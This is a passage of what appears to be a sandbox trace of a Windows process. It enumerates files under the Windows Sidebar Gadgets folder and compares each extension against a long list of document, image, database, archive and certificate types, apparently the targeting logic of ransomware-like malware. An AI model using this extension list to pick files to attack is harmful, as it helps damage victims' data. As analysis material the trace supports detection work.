(lpString1=".nrw", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".obj") returned 4 [0054.845] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".odb") returned 4 [0054.845] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".odc") returned 4 [0054.845] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".odm") returned 4 [0054.845] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".odp") returned 4 [0054.845] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".ods") returned 4 [0054.845] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".oft") returned 4 [0054.845] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".one") returned 4 [0054.845] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".onepkg") returned 7 [0054.846] lstrcmpiW (lpString1=".onepkg", lpString2="get.xml") returned -1 [0054.846] lstrlenW (lpString=".onetoc2") returned 8 [0054.846] lstrcmpiW (lpString1=".onetoc2", lpString2="dget.xml") returned -1 [0054.846] lstrlenW (lpString=".opt") returned 4 [0054.846] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".oqy") returned 4 [0054.846] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".orf") returned 4 [0054.846] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".p12") returned 4 [0054.846] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".p7b") returned 4 [0054.846] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".p7c") returned 4 [0054.846] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".pam") returned 4 [0054.846] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".pbm") returned 4 [0054.846] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".pct") returned 4 [0054.846] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".pcx") returned 4 [0054.846] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".pdd") returned 4 [0054.846] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".pdf") returned 4 [0054.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".pdp") returned 4 [0054.846] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0054.846] lstrlenW (lpString=".pef") returned 4 [0054.846] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0054.847] lstrlenW (lpString=".pem") returned 4 [0054.847] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0054.847] lstrlenW (lpString=".pff") returned 4 [0054.847] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0054.847] lstrlenW (lpString=".pfm") returned 4 [0054.847] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0054.847] lstrlenW (lpString=".pfx") returned 4 [0054.847] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0054.847] lstrlenW (lpString=".pgm") returned 4 [0054.847] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0054.847] lstrlenW (lpString=".php") returned 4 [0054.847] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0054.847] lstrlenW (lpString=".php3") returned 5 [0054.847] lstrcmpiW (lpString1=".php3", lpString2="t.xml") returned -1 [0054.847] lstrcmpiW (lpString1=".php4", lpString2="t.xml") returned -1 [0054.847] lstrcmpiW (lpString1=".php5", lpString2="t.xml") returned -1 [0054.847] lstrcmpiW (lpString1=".phtml", lpString2="et.xml") returned -1 [0054.847] lstrcmpiW (lpString1=".pict", lpString2="t.xml") returned -1 [0054.847] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0054.847] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0054.847] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0054.847] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".potm", lpString2="t.xml") returned -1 [0054.848] lstrcmpiW (lpString1=".potx", lpString2="t.xml") returned -1 [0054.848] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".ppam", lpString2="t.xml") returned -1 [0054.848] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".ppsm", lpString2="t.xml") returned -1 [0054.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".pptm", lpString2="t.xml") returned -1 [0054.848] lstrcmpiW (lpString1=".pptx", lpString2="t.xml") returned -1 [0054.848] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0054.848] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0054.848] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0054.849] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0054.849] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0054.849] lstrcmpiW (lpString1=".rdf", lpString2=".xml") returned -1 [0054.849] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3f13168 [0054.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0054.850] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.850] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0054.850] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0054.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0054.851] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0054.851] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0054.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0054.851] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0054.851] lstrlenW (lpString="icon.png") returned 8 [0054.851] lstrlenW (lpString=".1cd") returned 4 [0054.851] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0054.851] lstrlenW (lpString=".3ds") returned 4 [0054.851] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0054.851] lstrlenW (lpString=".3fr") returned 4 [0054.851] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0054.851] lstrlenW (lpString=".3g2") returned 4 [0054.851] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0054.851] lstrlenW (lpString=".3gp") returned 4 [0054.851] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0054.851] lstrlenW (lpString=".7z") returned 3 [0054.851] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0054.851] lstrlenW (lpString=".accda") returned 6 [0054.852] lstrcmpiW (lpString1=".accda", lpString2="on.png") returned -1 [0054.852] lstrlenW (lpString=".accdb") returned 6 [0054.852] lstrcmpiW (lpString1=".accdb", lpString2="on.png") returned -1 [0054.852] lstrlenW (lpString=".accdc") returned 6 [0054.852] lstrcmpiW (lpString1=".accdc", lpString2="on.png") returned -1 [0054.852] lstrlenW (lpString=".accde") returned 6 [0054.852] lstrcmpiW (lpString1=".accde", lpString2="on.png") returned -1 [0054.852] lstrlenW (lpString=".accdt") returned 6 [0054.852] lstrcmpiW (lpString1=".accdt", lpString2="on.png") returned -1 [0054.852] lstrlenW (lpString=".accdw") returned 6 [0054.852] lstrcmpiW (lpString1=".accdw", lpString2="on.png") returned -1 [0054.852] lstrlenW (lpString=".adb") returned 4 [0054.852] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0054.852] lstrlenW (lpString=".adp") returned 4 [0054.852] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0054.852] lstrlenW (lpString=".ai") returned 3 [0054.852] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0054.852] lstrlenW (lpString=".ai3") returned 4 [0054.852] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0054.852] lstrlenW (lpString=".ai4") returned 4 [0054.852] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0054.852] lstrlenW (lpString=".ai5") returned 4 [0054.852] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0054.852] lstrlenW (lpString=".ai6") returned 4 [0054.852] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0054.852] lstrlenW (lpString=".ai7") returned 4 [0054.852] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0054.852] lstrlenW (lpString=".ai8") returned 4 [0054.852] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0054.852] lstrlenW (lpString=".anim") returned 5 [0054.852] lstrcmpiW (lpString1=".anim", lpString2="n.png") returned -1 [0054.852] lstrlenW (lpString=".arw") returned 4 [0054.853] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".as") returned 3 [0054.853] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0054.853] lstrlenW (lpString=".asa") returned 4 [0054.853] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".asc") returned 4 [0054.853] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".ascx") returned 5 [0054.853] lstrcmpiW (lpString1=".ascx", lpString2="n.png") returned -1 [0054.853] lstrlenW (lpString=".asm") returned 4 [0054.853] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".asmx") returned 5 [0054.853] lstrcmpiW (lpString1=".asmx", lpString2="n.png") returned -1 [0054.853] lstrlenW (lpString=".asp") returned 4 [0054.853] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".aspx") returned 5 [0054.853] lstrcmpiW (lpString1=".aspx", lpString2="n.png") returned -1 [0054.853] lstrlenW (lpString=".asr") returned 4 [0054.853] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".asx") returned 4 [0054.853] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".avi") returned 4 [0054.853] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".avs") returned 4 [0054.853] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".backup") returned 7 [0054.853] lstrcmpiW (lpString1=".backup", lpString2="con.png") returned -1 [0054.853] lstrlenW (lpString=".bak") returned 4 [0054.853] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".bay") returned 4 [0054.853] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0054.853] lstrlenW (lpString=".bd") returned 3 [0054.854] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0054.854] lstrlenW (lpString=".bin") returned 4 [0054.854] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".bmp") returned 4 [0054.854] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".bz2") returned 4 [0054.854] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".c") returned 2 [0054.854] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0054.854] lstrlenW (lpString=".cdr") returned 4 [0054.854] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".cer") returned 4 [0054.854] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".cf") returned 3 [0054.854] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0054.854] lstrlenW (lpString=".cfc") returned 4 [0054.854] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".cfm") returned 4 [0054.854] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".cfml") returned 5 [0054.854] lstrcmpiW (lpString1=".cfml", lpString2="n.png") returned -1 [0054.854] lstrlenW (lpString=".cfu") returned 4 [0054.854] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".chm") returned 4 [0054.854] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".cin") returned 4 [0054.854] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".class") returned 6 [0054.854] lstrcmpiW (lpString1=".class", lpString2="on.png") returned -1 [0054.854] lstrlenW (lpString=".clx") returned 4 [0054.854] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0054.854] lstrlenW (lpString=".config") returned 7 [0054.855] lstrcmpiW (lpString1=".config", lpString2="con.png") returned -1 [0054.855] lstrlenW (lpString=".cpp") returned 4 [0054.855] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".cr2") returned 4 [0054.855] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".crt") returned 4 [0054.855] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".crw") returned 4 [0054.855] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".cs") returned 3 [0054.855] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0054.855] lstrlenW (lpString=".css") returned 4 [0054.855] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".csv") returned 4 [0054.855] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".cub") returned 4 [0054.855] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".dae") returned 4 [0054.855] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".dat") returned 4 [0054.855] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".db") returned 3 [0054.855] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0054.855] lstrlenW (lpString=".dbf") returned 4 [0054.855] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".dbx") returned 4 [0054.855] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".dc3") returned 4 [0054.855] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".dcm") returned 4 [0054.855] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0054.855] lstrlenW (lpString=".dcr") returned 4 [0054.856] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".der") returned 4 [0054.856] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".dib") returned 4 [0054.856] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".dic") returned 4 [0054.856] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".dif") returned 4 [0054.856] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".divx") returned 5 [0054.856] lstrcmpiW (lpString1=".divx", lpString2="n.png") returned -1 [0054.856] lstrlenW (lpString=".djvu") returned 5 [0054.856] lstrcmpiW (lpString1=".djvu", lpString2="n.png") returned -1 [0054.856] lstrlenW (lpString=".dng") returned 4 [0054.856] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".doc") returned 4 [0054.856] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".docm") returned 5 [0054.856] lstrcmpiW (lpString1=".docm", lpString2="n.png") returned -1 [0054.856] lstrlenW (lpString=".docx") returned 5 [0054.856] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0054.856] lstrlenW (lpString=".dot") returned 4 [0054.856] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".dotm") returned 5 [0054.856] lstrcmpiW (lpString1=".dotm", lpString2="n.png") returned -1 [0054.856] lstrlenW (lpString=".dotx") returned 5 [0054.856] lstrcmpiW (lpString1=".dotx", lpString2="n.png") returned -1 [0054.856] lstrlenW (lpString=".dpx") returned 4 [0054.856] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".dqy") returned 4 [0054.856] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0054.856] lstrlenW (lpString=".dsn") returned 4 [0054.857] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".dt") returned 3 [0054.857] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0054.857] lstrlenW (lpString=".dtd") returned 4 [0054.857] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".dwg") returned 4 [0054.857] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".dwt") returned 4 [0054.857] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".dx") returned 3 [0054.857] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0054.857] lstrlenW (lpString=".dxf") returned 4 [0054.857] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".edml") returned 5 [0054.857] lstrcmpiW (lpString1=".edml", lpString2="n.png") returned -1 [0054.857] lstrlenW (lpString=".efd") returned 4 [0054.857] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".elf") returned 4 [0054.857] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".emf") returned 4 [0054.857] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".emz") returned 4 [0054.857] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".epf") returned 4 [0054.857] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".eps") returned 4 [0054.857] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0054.857] lstrlenW (lpString=".epsf") returned 5 [0054.857] lstrcmpiW (lpString1=".epsf", lpString2="n.png") returned -1 [0054.857] lstrlenW (lpString=".epsp") returned 5 [0054.857] lstrcmpiW (lpString1=".epsp", lpString2="n.png") returned -1 [0054.857] lstrlenW (lpString=".erf") returned 4 [0054.858] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".exr") returned 4 [0054.858] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".f4v") returned 4 [0054.858] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".fido") returned 5 [0054.858] lstrcmpiW (lpString1=".fido", lpString2="n.png") returned -1 [0054.858] lstrlenW (lpString=".flm") returned 4 [0054.858] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".flv") returned 4 [0054.858] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".frm") returned 4 [0054.858] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".fxg") returned 4 [0054.858] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".geo") returned 4 [0054.858] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".gif") returned 4 [0054.858] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".grs") returned 4 [0054.858] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".gz") returned 3 [0054.858] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0054.858] lstrlenW (lpString=".h") returned 2 [0054.858] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0054.858] lstrlenW (lpString=".hdr") returned 4 [0054.858] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".hpp") returned 4 [0054.858] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".hta") returned 4 [0054.858] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0054.858] lstrlenW (lpString=".htc") returned 4 [0054.859] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".htm") returned 4 [0054.859] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".html") returned 5 [0054.859] lstrcmpiW (lpString1=".html", lpString2="n.png") returned -1 [0054.859] lstrlenW (lpString=".icb") returned 4 [0054.859] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".ics") returned 4 [0054.859] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".iff") returned 4 [0054.859] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".inc") returned 4 [0054.859] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".indd") returned 5 [0054.859] lstrcmpiW (lpString1=".indd", lpString2="n.png") returned -1 [0054.859] lstrlenW (lpString=".ini") returned 4 [0054.859] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".iqy") returned 4 [0054.859] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".j2c") returned 4 [0054.859] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".j2k") returned 4 [0054.859] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".java") returned 5 [0054.859] lstrcmpiW (lpString1=".java", lpString2="n.png") returned -1 [0054.859] lstrlenW (lpString=".jp2") returned 4 [0054.859] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".jpc") returned 4 [0054.859] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".jpe") returned 4 [0054.859] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0054.859] lstrlenW (lpString=".jpeg") returned 5 [0054.860] lstrcmpiW (lpString1=".jpeg", lpString2="n.png") returned -1 [0054.860] lstrlenW (lpString=".jpf") returned 4 [0054.860] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".jpg") returned 4 [0054.860] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".jpx") returned 4 [0054.860] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".js") returned 3 [0054.860] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0054.860] lstrlenW (lpString=".jsf") returned 4 [0054.860] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".json") returned 5 [0054.860] lstrcmpiW (lpString1=".json", lpString2="n.png") returned -1 [0054.860] lstrlenW (lpString=".jsp") returned 4 [0054.860] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".kdc") returned 4 [0054.860] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".kmz") returned 4 [0054.860] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".kwm") returned 4 [0054.860] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".lasso") returned 6 [0054.860] lstrcmpiW (lpString1=".lasso", lpString2="on.png") returned -1 [0054.860] lstrlenW (lpString=".lbi") returned 4 [0054.860] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0054.860] lstrlenW (lpString=".lgf") returned 4 [0054.860] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".lgp") returned 4 [0055.073] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".log") returned 4 [0055.073] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".m1v") returned 4 [0055.073] 